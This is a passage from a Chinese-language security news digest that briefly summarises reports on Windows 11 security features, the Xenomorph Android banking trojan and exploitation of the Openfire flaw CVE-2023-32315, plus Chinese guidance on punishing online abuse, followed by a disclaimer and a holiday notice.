微软周二宣布了将在最新版本的 Windows 11 中提供的新安全功能。 Windows 11 功能更新于每年下半年发布。最新的更新 23H2 正在逐步向用户推出，微软预计新功能将在 2023 年 11 月安全更新发布时覆盖所有设备。 8、Xenomorph 安卓银行木马针对美国、加拿大用户 https://www.securityweek.com/xenomorph-android-banking-trojan-targeting-users-in-us-canada/ 在线欺诈检测公司 ThreatFabric 报告称，最近发现的 Xenomorph Android 银行木马样本显示了扩大的目标列表，现在包括北美用户。 9、黑客积极利用 Openfire 漏洞加密服务器 https://www.bleepingcomputer.com/news/security/hackers-actively-exploiting-openfire-flaw-to-encrypt-servers/ 该漏洞 CVE-2023-32315 允许攻击者绕过身份验证并创建新的管理员帐户，从而使他们能够安装恶意 Java 插件并在受感染的服务器上执行任意代码。 10、“两高一部”出台关于依法惩治网络暴力违法犯罪的指导意见 https://www.ithome.com/0/721/492.htm 随着全媒体时代的到来，网络暴力问题日益突出。最高人民法院、最高人民检察院、公安部 25 日联合发布《关于依法惩治网络暴力违法犯罪的指导意见》 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。

尊敬的客户： 2023年中秋国庆双节来临，蚁景科技将于2023年9月29日至10月6日放假，共计8天。放假期间蚁景网安实验室将正常运营，若您遇到问题，可联系4006-123-731进行解决。 祝愿大家中秋国庆双节快乐！阖家幸福！万事如意！